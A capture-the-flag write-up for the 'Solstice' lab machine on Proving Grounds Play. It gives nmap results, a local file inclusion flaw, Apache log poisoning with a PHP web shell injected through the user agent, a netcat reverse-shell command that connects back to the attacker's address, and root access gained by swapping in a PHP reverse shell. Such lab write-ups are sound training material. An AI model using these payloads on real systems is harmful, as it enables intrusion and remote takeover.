Proving grounds Play - Solstice CTF writeup.
Nmap
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.6
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.180.72:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5ba737fd556cf8ea03f510bc94320718 (RSA)
| 256 abda6a6f973fb2703e6c2b4b0cb7f64c (ECDSA)
|_ 256 ae29d4e346a1b15227838f8fb0c436d1 (ED25519)
25/tcp open smtp Exim smtpd
| smtp-commands: solstice Hello nmap.scanme.org [192.168.45.197], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp open http Apache httpd 2.4.38 ((Debian))
2121/tcp open ftp pyftpdlib 1.5.6
3128/tcp open http-proxy Squid http proxy 4.6
8593/tcp open http PHP cli server 5.5 or later (PHP 7.3.14-1)
54787/tcp open http PHP cli server 5.5 or later (PHP 7.3.14-1)
62524/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web PORT : 8593
LFI Vulnerability
Clicking on the Book List button shows the index.php?book location.
Apache Log Poisoning attack
http://192.168.180.72:8593/index.php?book=../../../../../../var/log/apache2/access.log
The LFI vulnerability can be exploited through the log poisoning attack. Send a php code execution payload to the server to store the payload in the log file.
curl http://192.168.180.72 -A "<?php system(\$_GET['cmd']); ?>"
Execute arbitrary command in the URL to verify the code execution.
http://192.168.180.72:8593/index.php?book=../../../../../../var/log/apache2/access.log&cmd=whoami
Execute the below netcat command to obtain reverse shell. Ensure netcat listener is running on the desired PORT for reverse connection.
curl -s "http://192.168.180.72:8593/index.php?book=../../../../../../var/log/apache2/access.log&cmd=nc%20192.168.45.197%204444%20-e%20%2Fbin%2Fbash%20"
Initial Foothold obtained
Privilege Escalation
Process Enumeration
Check the running process with root permissions.
ps aux | grep root
PHP is running as root, in order to get a shell as root the index.php file located in the /var/tmp/sv/ folder has to be replaced with a php reverse shell.
Download the pentest monkey php reverse shell into the folder and rename it as index.php. Once the file is downloaded and renamed then run internal curl command to execute the php file to obtain the reverse shell.
Root obtained
Thanks for reading!
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